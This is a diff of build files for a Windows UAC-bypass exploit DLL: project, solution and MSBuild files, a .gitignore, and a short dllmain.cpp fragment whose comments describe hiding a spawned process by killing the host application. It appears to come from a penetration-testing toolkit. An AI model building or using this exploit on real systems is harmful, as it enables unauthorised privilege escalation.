<WholeProgramOptimization>true</WholeProgramOptimization>
|
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||||
<CharacterSet>Unicode</CharacterSet>
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
<PlatformToolset>v120</PlatformToolset>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||||
<ImportGroup Label="ExtensionSettings">
|
<ImportGroup Label="ExtensionSettings">
|
||||||
|
@ -64,25 +68,30 @@
|
||||||
<PropertyGroup Label="UserMacros" />
|
<PropertyGroup Label="UserMacros" />
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
<LinkIncremental>true</LinkIncremental>
|
<LinkIncremental>true</LinkIncremental>
|
||||||
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
|
<OutDir>$(Configuration)\$(Platform)\</OutDir>
|
||||||
<TargetName>$(ProjectName)32</TargetName>
|
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
|
||||||
|
<IntDir>$(Configuration)\$(Platform)\</IntDir>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
<LinkIncremental>true</LinkIncremental>
|
<LinkIncremental>true</LinkIncremental>
|
||||||
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
|
<OutDir>$(Configuration)\$(Platform)\</OutDir>
|
||||||
<TargetName>$(ProjectName)64</TargetName>
|
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
|
||||||
|
<IntDir>$(Configuration)\$(Platform)\</IntDir>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
<LinkIncremental>false</LinkIncremental>
|
<LinkIncremental>false</LinkIncremental>
|
||||||
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
|
<OutDir>$(Configuration)\$(Platform)\</OutDir>
|
||||||
<TargetName>$(ProjectName)32</TargetName>
|
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
|
||||||
<GenerateManifest>false</GenerateManifest>
|
<GenerateManifest>false</GenerateManifest>
|
||||||
|
<IntDir>$(Configuration)\$(Platform)\</IntDir>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
<LinkIncremental>false</LinkIncremental>
|
<LinkIncremental>false</LinkIncremental>
|
||||||
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
|
<OutDir>$(Configuration)\$(Platform)\</OutDir>
|
||||||
<TargetName>$(ProjectName)64</TargetName>
|
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
|
||||||
<GenerateManifest>false</GenerateManifest>
|
<GenerateManifest>false</GenerateManifest>
|
||||||
|
<IntDir>$(Configuration)\$(Platform)\</IntDir>
|
||||||
|
<CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
<ClCompile>
|
<ClCompile>
|
||||||
|
@ -90,11 +99,16 @@
|
||||||
<WarningLevel>Level3</WarningLevel>
|
<WarningLevel>Level3</WarningLevel>
|
||||||
<Optimization>Disabled</Optimization>
|
<Optimization>Disabled</Optimization>
|
||||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;WIN7ELEVATEDLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;WIN7ELEVATEDLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||||
|
<MinimalRebuild>false</MinimalRebuild>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
<Link>
|
<Link>
|
||||||
<SubSystem>Windows</SubSystem>
|
<SubSystem>Windows</SubSystem>
|
||||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
</Link>
|
</Link>
|
||||||
|
<PostBuildEvent>
|
||||||
|
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL</Command>
|
||||||
|
</PostBuildEvent>
|
||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
<ClCompile>
|
<ClCompile>
|
||||||
|
@ -102,11 +116,16 @@
|
||||||
<WarningLevel>Level3</WarningLevel>
|
<WarningLevel>Level3</WarningLevel>
|
||||||
<Optimization>Disabled</Optimization>
|
<Optimization>Disabled</Optimization>
|
||||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;WIN7ELEVATEDLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;WIN7ELEVATEDLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||||
|
<MinimalRebuild>false</MinimalRebuild>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
<Link>
|
<Link>
|
||||||
<SubSystem>Windows</SubSystem>
|
<SubSystem>Windows</SubSystem>
|
||||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
</Link>
|
</Link>
|
||||||
|
<PostBuildEvent>
|
||||||
|
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.2 "$(TargetDir)$(TargetFileName)" > NUL</Command>
|
||||||
|
</PostBuildEvent>
|
||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
<ClCompile>
|
<ClCompile>
|
||||||
|
@ -117,6 +136,7 @@
|
||||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN7ELEVATEDLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN7ELEVATEDLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
<Link>
|
<Link>
|
||||||
<SubSystem>Windows</SubSystem>
|
<SubSystem>Windows</SubSystem>
|
||||||
|
@ -124,6 +144,9 @@
|
||||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
<OptimizeReferences>true</OptimizeReferences>
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
</Link>
|
</Link>
|
||||||
|
<PostBuildEvent>
|
||||||
|
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL</Command>
|
||||||
|
</PostBuildEvent>
|
||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
<ClCompile>
|
<ClCompile>
|
||||||
|
@ -134,6 +157,7 @@
|
||||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
<PreprocessorDefinitions>WIN64;_WIN64;NDEBUG;_WINDOWS;_USRDLL;WIN7ELEVATEDLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
<PreprocessorDefinitions>WIN64;_WIN64;NDEBUG;_WINDOWS;_USRDLL;WIN7ELEVATEDLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
<Link>
|
<Link>
|
||||||
<SubSystem>Windows</SubSystem>
|
<SubSystem>Windows</SubSystem>
|
||||||
|
@ -145,6 +169,9 @@
|
||||||
<Path>
|
<Path>
|
||||||
</Path>
|
</Path>
|
||||||
</BuildLog>
|
</BuildLog>
|
||||||
|
<PostBuildEvent>
|
||||||
|
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.2 "$(TargetDir)$(TargetFileName)" > NUL</Command>
|
||||||
|
</PostBuildEvent>
|
||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ClInclude Include="stdafx.h" />
|
<ClInclude Include="stdafx.h" />
|
||||||
|
|
3
external/source/exploits/bypassuac/Win7ElevateDll/dllmain.cpp
vendored
Normal file → Executable file
3
external/source/exploits/bypassuac/Win7ElevateDll/dllmain.cpp
vendored
Normal file → Executable file
|
@ -17,7 +17,6 @@ BOOL APIENTRY DllMain( HMODULE hModule,
|
||||||
// Wee need to hide fact that we've started process thats why we immediately
|
// Wee need to hide fact that we've started process thats why we immediately
|
||||||
// Terminate host application.
|
// Terminate host application.
|
||||||
//
|
//
|
||||||
CLogger::LogLine(TEXT("DLL: Hello"));
|
|
||||||
|
|
||||||
switch (ul_reason_for_call)
|
switch (ul_reason_for_call)
|
||||||
{
|
{
|
||||||
|
@ -33,8 +32,6 @@ BOOL APIENTRY DllMain( HMODULE hModule,
|
||||||
startupInfo.cb = sizeof(startupInfo);
|
startupInfo.cb = sizeof(startupInfo);
|
||||||
PROCESS_INFORMATION processInfo = {0};
|
PROCESS_INFORMATION processInfo = {0};
|
||||||
|
|
||||||
CLogger::LogLine(TEXT("DLL: TIOR shell="));
|
|
||||||
CLogger::LogLine(cmd);
|
|
||||||
|
|
||||||
//
|
//
|
||||||
// Create not visible window
|
// Create not visible window
|
||||||
|
|
|
@ -0,0 +1,19 @@
|
||||||
|
<?xml version="1.0" standalone="yes"?>
|
||||||
|
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<PropertyGroup>
|
||||||
|
<SolutionPath>.\Win7Elevate.sln</SolutionPath>
|
||||||
|
</PropertyGroup>
|
||||||
|
|
||||||
|
<Target Name="all" DependsOnTargets="x86;x64" />
|
||||||
|
|
||||||
|
<Target Name="x86">
|
||||||
|
<Message Text="Building bypassuac x86" />
|
||||||
|
<MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=Win32" Targets="Clean;Rebuild"/>
|
||||||
|
</Target>
|
||||||
|
|
||||||
|
<Target Name="x64">
|
||||||
|
<Message Text="Building bypassuac x64" />
|
||||||
|
<MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=x64" Targets="Clean;Rebuild"/>
|
||||||
|
</Target>
|
||||||
|
</Project>
|
||||||
|
|
|
@ -0,0 +1,151 @@
|
||||||
|
## Ignore Visual Studio temporary files, build results, and
|
||||||
|
## files generated by popular Visual Studio add-ons.
|
||||||
|
|
||||||
|
# User-specific files
|
||||||
|
*.suo
|
||||||
|
*.user
|
||||||
|
*.sln.docstates
|
||||||
|
|
||||||
|
# Build results
|
||||||
|
|
||||||
|
[Dd]ebug/
|
||||||
|
[Rr]elease/
|
||||||
|
x64/
|
||||||
|
build/
|
||||||
|
[Bb]in/
|
||||||
|
[Oo]bj/
|
||||||
|
|
||||||
|
# Enable "build/" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets
|
||||||
|
!packages/*/build/
|
||||||
|
|
||||||
|
# MSTest test Results
|
||||||
|
[Tt]est[Rr]esult*/
|
||||||
|
[Bb]uild[Ll]og.*
|
||||||
|
|
||||||
|
*_i.c
|
||||||
|
*_p.c
|
||||||
|
*.ilk
|
||||||
|
*.meta
|
||||||
|
*.obj
|
||||||
|
*.pch
|
||||||
|
*.pdb
|
||||||
|
*.pgc
|
||||||
|
*.pgd
|
||||||
|
*.rsp
|
||||||
|
*.sbr
|
||||||
|
*.tlb
|
||||||
|
*.tli
|
||||||
|
*.tlh
|
||||||
|
*.tmp
|
||||||
|
*.tmp_proj
|
||||||
|
*.log
|
||||||
|
*.vspscc
|
||||||
|
*.vssscc
|
||||||
|
.builds
|
||||||
|
*.pidb
|
||||||
|
*.log
|
||||||
|
*.scc
|
||||||
|
|
||||||
|
# Visual C++ cache files
|
||||||
|
ipch/
|
||||||
|
*.aps
|
||||||
|
*.ncb
|
||||||
|
*.opensdf
|
||||||
|
*.sdf
|
||||||
|
*.cachefile
|
||||||
|
|
||||||
|
# Visual Studio profiler
|
||||||
|
*.psess
|
||||||
|
*.vsp
|
||||||
|
*.vspx
|
||||||
|
|
||||||
|
# Guidance Automation Toolkit
|
||||||
|
*.gpState
|
||||||
|
|
||||||
|
# ReSharper is a .NET coding add-in
|
||||||
|
_ReSharper*/
|
||||||
|
*.[Rr]e[Ss]harper
|
||||||
|
|
||||||
|
# TeamCity is a build add-in
|
||||||
|
_TeamCity*
|
||||||
|
|
||||||
|
# DotCover is a Code Coverage Tool
|
||||||
|
*.dotCover
|
||||||
|
|
||||||
|
# NCrunch
|
||||||
|
*.ncrunch*
|
||||||
|
.*crunch*.local.xml
|
||||||
|
|
||||||
|
# Installshield output folder
|
||||||
|
[Ee]xpress/
|
||||||
|
|
||||||
|
# DocProject is a documentation generator add-in
|
||||||
|
DocProject/buildhelp/
|
||||||
|
DocProject/Help/*.HxT
|
||||||
|
DocProject/Help/*.HxC
|
||||||
|
DocProject/Help/*.hhc
|
||||||
|
DocProject/Help/*.hhk
|
||||||
|
DocProject/Help/*.hhp
|
||||||
|
DocProject/Help/Html2
|
||||||
|
DocProject/Help/html
|
||||||
|
|
||||||
|
# Click-Once directory
|
||||||
|
publish/
|
||||||
|
|
||||||
|
# Publish Web Output
|
||||||
|
*.Publish.xml
|
||||||
|
*.pubxml
|
||||||
|
|
||||||
|
# NuGet Packages Directory
|
||||||
|
## TODO: If you have NuGet Package Restore enabled, uncomment the next line
|
||||||
|
#packages/
|
||||||
|
|
||||||
|
# Windows Azure Build Output
|
||||||
|
csx
|
||||||
|
*.build.csdef
|
||||||
|
|
||||||
|
# Windows Store app package directory
|
||||||
|
AppPackages/
|
||||||
|
|
||||||
|
# Others
|
||||||
|
sql/
|
||||||
|
*.Cache
|
||||||
|
ClientBin/
|
||||||
|
[Ss]tyle[Cc]op.*
|
||||||
|
~$*
|
||||||
|
*~
|
||||||
|
*.dbmdl
|
||||||
|
*.[Pp]ublish.xml
|
||||||
|
*.pfx
|
||||||
|
*.publishsettings
|
||||||
|
|
||||||
|
# RIA/Silverlight projects
|
||||||
|
Generated_Code/
|
||||||
|
|
||||||
|
# Backup & report files from converting an old project file to a newer
|
||||||
|
# Visual Studio version. Backup files are not needed, because we have git ;-)
|
||||||
|
_UpgradeReport_Files/
|
||||||
|
Backup*/
|
||||||
|
UpgradeLog*.XML
|
||||||
|
UpgradeLog*.htm
|
||||||
|
|
||||||
|
# SQL Server files
|
||||||
|
App_Data/*.mdf
|
||||||
|
App_Data/*.ldf
|
||||||
|
|
||||||
|
# =========================
|
||||||
|
# Windows detritus
|
||||||
|
# =========================
|
||||||
|
|
||||||
|
# Windows image file caches
|
||||||
|
Thumbs.db
|
||||||
|
ehthumbs.db
|
||||||
|
|
||||||
|
# Folder config file
|
||||||
|
Desktop.ini
|
||||||
|
|
||||||
|
# Recycle Bin used on file shares
|
||||||
|
$RECYCLE.BIN/
|
||||||
|
|
||||||
|
# Mac crap
|
||||||
|
.DS_Store
|
|
@ -0,0 +1,28 @@
|
||||||
|
|
||||||
|
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||||
|
# Visual Studio 2013
|
||||||
|
VisualStudioVersion = 12.0.21005.1
|
||||||
|
MinimumVisualStudioVersion = 10.0.40219.1
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "bypassuac", "dll\reflective_dll.vcxproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}"
|
||||||
|
EndProject
|
||||||
|
Global
|
||||||
|
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||||
|
Debug|Win32 = Debug|Win32
|
||||||
|
Debug|x64 = Debug|x64
|
||||||
|
Release|Win32 = Release|Win32
|
||||||
|
Release|x64 = Release|x64
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||||
|
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32
|
||||||
|
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32
|
||||||
|
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.ActiveCfg = Release|x64
|
||||||
|
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.Build.0 = Release|x64
|
||||||
|
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32
|
||||||
|
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32
|
||||||
|
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.ActiveCfg = Release|x64
|
||||||
|
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.Build.0 = Release|x64
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(SolutionProperties) = preSolution
|
||||||
|
HideSolutionNode = FALSE
|
||||||
|
EndGlobalSection
|
||||||
|
EndGlobal
|
|
@ -0,0 +1,204 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
|
<ProjectConfiguration Include="Debug|Win32">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Debug|x64">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|Win32">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|x64">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
</ItemGroup>
|
||||||
|
<PropertyGroup Label="Globals">
|
||||||
|
<ProjectGuid>{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}</ProjectGuid>
|
||||||
|
<RootNamespace>reflective_dll</RootNamespace>
|
||||||
|
<Keyword>Win32Proj</Keyword>
|
||||||
|
<ProjectName>bypassuac</ProjectName>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<PlatformToolset>v120</PlatformToolset>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<PlatformToolset>v120</PlatformToolset>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||||
|
<PlatformToolset>v120</PlatformToolset>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<PlatformToolset>v120</PlatformToolset>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||||
|
<ImportGroup Label="ExtensionSettings">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<PropertyGroup Label="UserMacros" />
|
||||||
|
<PropertyGroup>
|
||||||
|
<_ProjectFileVersion>11.0.50727.1</_ProjectFileVersion>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
|
||||||
|
<IntDir>$(Configuration)\</IntDir>
|
||||||
|
<LinkIncremental>true</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
|
||||||
|
<IntDir>$(Platform)\$(Configuration)\</IntDir>
|
||||||
|
<LinkIncremental>true</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
|
||||||
|
<IntDir>$(Configuration)\</IntDir>
|
||||||
|
<LinkIncremental>false</LinkIncremental>
|
||||||
|
<TargetName>$(ProjectName)-x86</TargetName>
|
||||||
|
<IncludePath>$(VCInstallDir)include;$(VCInstallDir)atlmfc\include;$(WindowsSDK_IncludePath);..\..\..\ReflectiveDLLInjection\common\;..\..\..\ReflectiveDLLInjection\dll\src\</IncludePath>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
|
||||||
|
<IntDir>$(Configuration)\</IntDir>
|
||||||
|
<LinkIncremental>false</LinkIncremental>
|
||||||
|
<TargetName>$(ProjectName)-x64</TargetName>
|
||||||
|
<IncludePath>$(VCInstallDir)include;$(VCInstallDir)atlmfc\include;$(WindowsSDK_IncludePath);..\..\..\ReflectiveDLLInjection\common\;..\..\..\ReflectiveDLLInjection\dll\src\;</IncludePath>
|
||||||
|
</PropertyGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<Optimization>Disabled</Optimization>
|
||||||
|
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<MinimalRebuild>true</MinimalRebuild>
|
||||||
|
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||||
|
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
|
||||||
|
<PrecompiledHeader />
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<TargetMachine>MachineX86</TargetMachine>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<Midl>
|
||||||
|
<TargetEnvironment>X64</TargetEnvironment>
|
||||||
|
</Midl>
|
||||||
|
<ClCompile>
|
||||||
|
<Optimization>Disabled</Optimization>
|
||||||
|
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<MinimalRebuild>true</MinimalRebuild>
|
||||||
|
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||||
|
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
|
||||||
|
<PrecompiledHeader />
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<TargetMachine>MachineX64</TargetMachine>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<Optimization>MaxSpeed</Optimization>
|
||||||
|
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<PrecompiledHeader />
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<TargetMachine>MachineX86</TargetMachine>
|
||||||
|
</Link>
|
||||||
|
<PostBuildEvent>
|
||||||
|
<Command>
|
||||||
|
IF EXIST "..\..\..\..\..\data\post\" GOTO COPY
|
||||||
|
mkdir "..\..\..\..\..\data\post\"
|
||||||
|
:COPY
|
||||||
|
